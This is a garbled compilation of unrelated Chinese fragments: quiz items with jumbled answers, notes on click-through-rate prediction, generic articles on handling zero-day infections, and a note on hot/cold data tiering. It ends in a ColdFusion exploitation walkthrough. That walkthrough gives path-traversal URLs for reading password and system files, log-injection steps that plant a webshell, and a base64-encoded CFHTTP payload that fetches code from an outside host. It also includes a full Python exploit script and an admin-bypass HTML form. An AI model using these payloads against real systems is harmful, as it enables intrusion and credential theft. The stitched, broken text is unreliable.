A 、 大数据分析不会对个人隐 私造成危害 B 、 某些场景下的大数据分析 可能会对个人隐私造成危 害 大数据分析一定会侵害个 人隐私大数据分析与个人隐私没 有关系蛋白质答案:ACD下列选项中，哪些是大数据 的典型应用？（基于交易大数据分析用户 的购买习惯B、基于搜索引擎的搜索关键 词分析社会热点厂C 、基于传感器感知的海量数 据分析自然灾害的危害程 度D、基于科技文献数据库检索 某一领域研究进展答案:ABC下列（）是人体的主要供 能物质。
B、D、 维生素答案:ABC人体的能量支出包括（A、 静止代谢率B、食物诱导产热C、 身体活动D、身体组织更新答案:ABC胰岛素抵抗引起的血浆中 高胰岛素和高糖含量经常 导致（）。
P r e d i c t i o n 算 法 使 用
可扩展机器学习——分类——点击率预测(Click-through Rate Prediction)可扩展机器学习系列主要包括以下几个部分：- Spark分布式处理- 线性回归(linear Regression)- 梯度下降(Gradient Descent)- 分类——点击率预测(Click-through Rate Prediction)- 神经科学五、分类——点击率预测(Click-through Rate Prediction)1、在线广告概述1、典型的大规模机器学习问题在线广告是典型的大规模机器学习问题，主要是因为：在线广告问题很复杂，需要收集大量的数据。
数据量巨大：大量的用户在使用互联网，产生了大量的数据很多的带标签的数据2、在线广告的参与者在在线广告的活动中，主要包括如下的一些参与者：出版人(网站的拥有者)，如NYTime，Google，ESPN。
指的是将广告展示在他们的网站上以获得利润的人。
广告商。
媒介，如Google，Microsoft，Yahoo。
连接网站拥有者与用户。
用户是我的补充，通常再上述的参与者中，出版人和媒介属于同一个。
3、为什么广告商要付钱通常，一个网站上的广告会产生如下的两种的效果：展示：让某些信息触达到目标用户效果：在展示的同时，用户会产生一些行为，如点击，购买等等因此，展示广告的同时为商家带来了利润。
4、在线广告计算的核心问题在线广告是一个多方博弈的过程，参与者包括广告商，平台，受众，关系如下图所示：平台连接着广告商与受众(上图中的蓝色)，因此如何高效地连接广告商与受众称为一个重要的问题，问题可以表述为：预测一个用户对于每一条广告的点击概率，并且选择最大概率的广告。
数学过程可以表述为估计如下的概率：P(click∣predictivefeature)mathbb{P}left ( clickmid predictive; feature right )即在给定预测的特征的条件下预测用户的点击概率。
如何检测和处理零日漏洞引发的病毒感染？(三)
如何检测和处理零日漏洞引发的病毒感染？在当今信息时代，网络安全问题已经成为人们生活中不可避免的挑战。
零日漏洞（Zero-day vulnerability）作为一种被黑客攻击利用的漏洞类型，时刻威胁着网络系统的安全。
一旦黑客利用零日漏洞进入系统，便可以引发病毒感染，导致数据泄露、系统崩溃等严重后果。
因此，如何检测和处理零日漏洞引发的病毒感染是一个重要的话题。
一、了解零日漏洞的特点与防范零日漏洞是指软件或操作系统中存在的一种未被厂商官方公布的安全漏洞。
因为厂商还没有修复该漏洞，所以黑客可以利用它制造病毒并进行攻击。
这就意味着，一旦零日漏洞被利用，传统的杀毒软件和安全防护系统无法及时防御。
为了检测和处理零日漏洞引发的病毒感染，我们需要知道如何防范这类威胁。
首先，定期更新操作系统和软件，及时安装官方发布的补丁程序，以使系统始终具备最新的安全防护措施。
其次，合理配置防火墙和入侵检测系统，阻止未经授权的外部访问。
此外，构建多层次防护体系，利用用户行为分析技术，及时检测异常行为并采取相应措施，有效应对未知的零日攻击。
二、零日漏洞检测的方法在检测和处理零日漏洞引发的病毒感染过程中，及时发现漏洞显得至关重要。
以下是几种常用的零日漏洞检测方法。
1. 漏洞扫描工具：利用漏洞扫描器可以自动扫描系统中的漏洞，并提供详细的报告。
这些工具可以帮助系统管理员及时了解系统中可能存在的漏洞，进行修复工作，从而降低病毒感染的风险。
2. 沙盒分析：沙盒分析是一种通过将可疑文件在隔离的环境中运行来检测和分析是否存在零日漏洞的方法。
通过观察可疑文件的行为，分析其对系统的影响，可以及时发现零日漏洞。
3. 威胁情报：及时获取最新的威胁情报可以帮助检测和处理零日漏洞引发的病毒感染。
订阅安全厂商的威胁情报服务，定期了解网络上的最新攻击活动和漏洞信息，以便及时采取相应的防护措施。
三、处理零日漏洞引发的病毒感染当发现系统中存在零日漏洞引发的病毒感染时，及时处理是至关重要的。
冷热数据迁移算法
冷热数据迁移算法冷热数据迁移算法是一种用于将存储系统中的冷数据（不常访问的数据）移动到较低成本的存储介质，同时将热数据（常访问的数据）保留在更快速的存储介质上的算法。
这可以帮助提高存储系统的性能和效率，减少存储成本。
1.热数据的识别：首先，算法需要能够准确地识别出热数据。
这可以通过监控数据的访问频率、时间戳或者其他的指标来实现。
比如，数据集合的访问频率高于一些阈值的可以被认为是热数据。
2.数据分类：基于热数据的识别结果，算法将存储系统中的数据划分为热数据和冷数据两个类别。
3.存储介质层次化：存储系统通常包含多种存储介质，比如固态硬盘（SSD）和磁盘硬盘（HDD）。
冷热数据迁移算法将不同的数据分类映射到不同的存储介质上。
通常，热数据会保留在更快速的存储介质上，而冷数据则移动到较低成本的介质上。
4.迁移策略：冷热数据迁移算法需要决定何时、如何以及将哪些数据从一种存储介质迁移到另一种存储介质。
一种常见的策略是定期执行迁移操作，例如每天或每周的特定时间段。
迁移操作可以基于数据的访问频率、时间戳或其他指标来决定。
5.数据迁移方式：数据迁移可以是主动的或被动的。
主动迁移是指存储系统主动将数据从一种介质迁移到另一种介质，而被动迁移是指数据在被访问时根据需要从一种介质加载到另一种介质。
在实际应用中，冷热数据迁移算法可以与其他优化策略相结合，如缓存、压缩和去重等，以实现更好的性能和效率。
同时，算法的性能也可以通过调整参数、采用机器学习等方法进行进一步优化。
总结起来，冷热数据迁移算法是一种将存储系统中的冷数据移动到较低成本存储介质的算法。
通过识别热数据、层次化存储介质、定期迁移和合理的迁移策略，冷热数据迁移算法可以提供更好的存储系统性能和效率。
如何检测和处理零日漏洞引发的病毒感染？(九)
如何检测和处理零日漏洞引发的病毒感染？一. 前言在现代社会，计算机和互联网已经成为人们工作、学习和娱乐的重要工具。
然而，计算机系统中存在许多漏洞，其中最危险的就是被黑客利用的零日漏洞。
一旦黑客攻击者发现并利用了零日漏洞，便可对计算机系统进行未被预料的攻击，引发病毒感染。
本文将探讨如何检测和处理零日漏洞引发的病毒感染的问题。
二. 检测零日漏洞1. 漏洞情报的获取零日漏洞是指黑客攻击者利用，而软件厂商尚未修复的漏洞。
为了检测零日漏洞，我们需要获取最新的漏洞情报，以及及时了解各种软件的漏洞报告。
可以通过参与安全论坛、加入安全团队等方式来获取漏洞情报。
2. 安全研究人员的价值零日漏洞的发现和研究需要安全研究人员的不断努力。
他们通过对软件代码的深入分析和反编译，找出其中的潜在漏洞，进而为厂商提供修补建议。
安全研究人员在检测零日漏洞方面发挥着重要作用。
三. 预防病毒感染1. 保持操作系统和应用程序的更新及时安装操作系统和应用程序的最新更新是预防病毒感染的重要措施之一。
厂商会定期修复已知漏洞，并发布相应的更新补丁。
用户只有在安装了这些更新后，才能有效地避免零日漏洞引发的病毒感染。
2. 安装强大的安全软件在面对零日漏洞时，强大的安全软件可以为系统提供风险评估和主动防御措施。
这些软件可以监控系统的行为，检测可疑活动，并根据定义的规则进行善后处理。
四. 处理病毒感染1. 立即隔离受感染的主机一旦系统受到病毒感染，第一步就是立即隔离受感染的主机，以防病毒进一步传播。
这可以通过断开主机与网络的连接、禁用可疑进程和服务等方式实现。
2. 病毒扫描与清除在确定主机已经处于隔离状态后，我们需要进行病毒扫描和清除。
可以使用多个可信赖的杀毒软件进行全盘扫描，以确保病毒得到彻底清除。
同时还需要清理和修复被病毒感染的文件和系统设置。
3. 增强安全防护处理病毒感染后，我们需要进一步增强系统的安全防护能力，以避免再次受到零日漏洞的攻击。
这包括增强防火墙设置、加密重要数据、定期备份系统以及加强用户教育等措施。
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0day分析之COLDFUSION本地包含利用方法simeon漏洞号CVE-2010-2861（/CVE-2010-2861.html）在Adobe ColdFusion 9.0.1及之前版本的管理控制台中存在多个目录遍历漏洞。
远程攻击者可借助向CFIDE/administrator/中的CFIDE/administrator/settings/mappings.cfm，logging/settings.cfm，datasources/index.cfm，j2eepackaging/editarchive.cfm和enter.cfm发送的locale参数读取任意文件，本文对这些漏洞进行测试，可以获取管理员密码，以及通过本地包含直接获取webshell。
1、搭建goldfusion测试平台我下载的是coldfusion-801-win-tre.rar，解压以后直接运行安装程序即可，设置很简单，进行相应设置即可。
测试环境为2.0day使用方法测试（1）测试是否存在漏洞在浏览器中输入地址http://192.168.44.129:8500/CFIDE/administrator/enter.cfm，其参数存在locale本地包含漏洞，其利用方法就是根据locale来构建。
例如输入：http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\server.log%00en，如果存在漏洞会爆出server.log文件的详细信息，如图1所示。
图1测试是否存在漏洞文件可以是application.log、server.log、eventgateway.log，要根据实际情况进行测试，文件还可以是磁盘上的任意文件，例如读取boot.ini文件内容：http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\boot.ini%00 en图2读取磁盘其它文件内容（2）利用url注入到application.log日志文件中利用<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>方法，构造一个地址，通过访问一个不存在的页面，将url内容写入到日志文件中，注意编码问题，否则不成功的。
输入地址，如图3所示，会给出文件找不到错误信息：http://192.168.44.129:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PAT H%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml图3提示文件未找到错误提示这时候就会把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>注入到application.log里了，如图4所示。
图4将url内容写入application.log日志文件中（3）获取shell事先准备好一个shell.cfm，将该文件保存为txt文件，例如/tools/cfm.shell.txt，然后在浏览器中输入以下地址即可在根目录获取shell.cfm，如图5所示，获取的webshell为system权限。
http://192.168.44.129:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusi on8\logs\application.log%00en&u=http://192.168.44.129:8500/1.txt&p=C:\ColdFusion8\www root&f=shell.cfm图5获取webshell（4）获取管理密码password.properties文件一般位于C:\ColdFusion8\lib\文件夹下，只要读取该文件的信息，即可获取加密的密码，如图6所示。
http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en图6获取goldfusion管理密码3. LFI to Shell in Coldfusion 6-10利用方法分析LFI获取Goldfusion6-10版本Shell方法（LFI to Shell in Coldfusion 6-10）原文见：http://hatriot.github.io/blog/2014/04/02/lfi-to-stager-payload-in-coldfusion/，其方法跟本文方法有些类似，只是其采用了base64编码。
<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#'path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>使用cfm的CFHTTP标签执行一个HTTP请求来取得192.168.1.97:8000 WEB服务器上的cmd.cfml文件，ToString(ToBinary是为了做BASE64编码，绕过一些字符的限制，比如/下面说说此法的缺点：（1）不是通杀的方法，如果对方禁止对外的HTTP访问，此法不行（2）如果安装的时候是集成到IIS模式的，CF程序目录放到其他盘符的话，是没法使用../跨目录的。
4.网上其他可供利用0day分析（1）读取password. properties文件内容exploit-db网站公布的利用方法，poc下载地址：/exploits/14641/，起代码如下，其主要功能是读取管理员密码。
用法为：python 14641.py ip port ../../../../../../../lib/password.propertiespython 14641.py 192.168.44.129 8500 ../../../../../../../lib/password.propertiesimport sysimport socketimport re# in case some directories are blockedfilenames =("/CFIDE/wizards/common/_logintowizard.cfm","/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm","/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")post ="""POST %s HTTP/1.1Host: %sConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: %dlocale=%%00%s%%00a"""def main():if len(sys.argv) !=4:print"usage: %s <host> <port> <file_path>"%sys.argv[0]print"example: %s localhost 80 ../../../../../../../lib/password.properties"% sys.argv[0]print"if successful, the file will be printed"returnhost =sys.argv[1]port =sys.argv[2]path =sys.argv[3]for f in filenames:print"------------------------------"print"trying", fs =socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, int(port)))s.send(post %(f, host, len(path) +14, path))buf =""while1:buf_s =s.recv(1024)if len(buf_s) ==0:breakbuf +=buf_sm =re.search('<title>(.*)</title>', buf, re.S)if m !=None:title =m.groups(0)[0]print"title from server in %s:"%fprint"------------------------------"print m.groups(0)[0]print"------------------------------"if__name__ =='__main__':main()（2）Adobe ColdFusion 9 管理员绕过漏洞将以下代码保存为test.html，加入hostname后，直接提交可以绕过Adobe ColdFusion 9认证，直接登录后台系统。
<formaction="http://[HOSTNAME]/CFIDE/adminapi/administrator.cfm?method=log in" method="post"><input type="hidden" name="adminpassword" value=""><input type="hidden" name="rdsPasswordAllowed" value="1"><input type="submit"></form>资料参考地址（1）/exploits/27755/（2）/exploits/30210/（3）/tips/1410。